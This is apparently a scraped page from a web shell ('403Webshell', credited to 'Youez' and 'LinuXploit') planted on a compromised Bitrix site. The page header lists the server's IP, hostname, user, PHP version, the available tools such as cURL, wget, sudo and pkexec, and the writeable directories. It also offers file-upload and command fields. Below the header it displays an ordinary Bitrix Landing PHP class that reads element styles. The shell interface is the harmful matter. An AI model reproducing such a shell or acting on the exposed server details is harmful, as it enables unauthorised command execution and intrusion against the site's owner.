403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/node/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/node/style.php
<?php

namespace Bitrix\Landing\Node;

use Bitrix\Landing\Block;
use Bitrix\Main\Web\DOM\Node;
use Bitrix\Main\Web\DOM\StyleInliner;

class Style
{
	public static function getStyle(Block $block, string $selector): array
	{
		$data = [];
		$resultList = self::getNodesBySelector($block, $selector);

		foreach ($resultList as $pos => $res)
		{
			if ($res->getNodeType() === $res::ELEMENT_NODE)
			{
				$classList = trim($res->getAttribute('class'));
				if ($classList)
				{
					$data['classList'][$pos] = $classList;
				}

				$styles = StyleInliner::getStyle($res);
				$stylesPrepared = [];
				foreach ($styles as $key => $style)
				{
					if ($style && $key !== 'background-image')
					{
						$stylesPrepared[$key] = $style;
					}
					if ($key === 'background-image' && $style === '')
					{
						$stylesPrepared[$key] = $style;
					}
				}
				if (!empty($stylesPrepared))
				{
					$data['style'][$pos] = $stylesPrepared;

				}
			}
		}

		return $data;
	}

	/**
	 * @param Block $block
	 * @param string $selector
	 * @return Node[]
	 */
	public static function getNodesBySelector(Block $block, string $selector): array
	{
		$doc = $block->getDom();

		// prepare wrapper
		$wrapper = '#' . $block->getAnchor($block->getId());
		if ($selector === '#wrapper')
		{
			$selector = '#block' . $block->getId();
		}

		// nodes for get
		if ($selector === $wrapper)
		{
			$wrapperNode = [];
			foreach ($doc->getChildNodesArray() as $node)
			{
				if ($node->getNodeType() === Node::ELEMENT_NODE)
				{
					$wrapperNode[] = $node;
					break;
				}
			}

			return $wrapperNode;
		}

		return $doc->querySelectorAll($selector);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit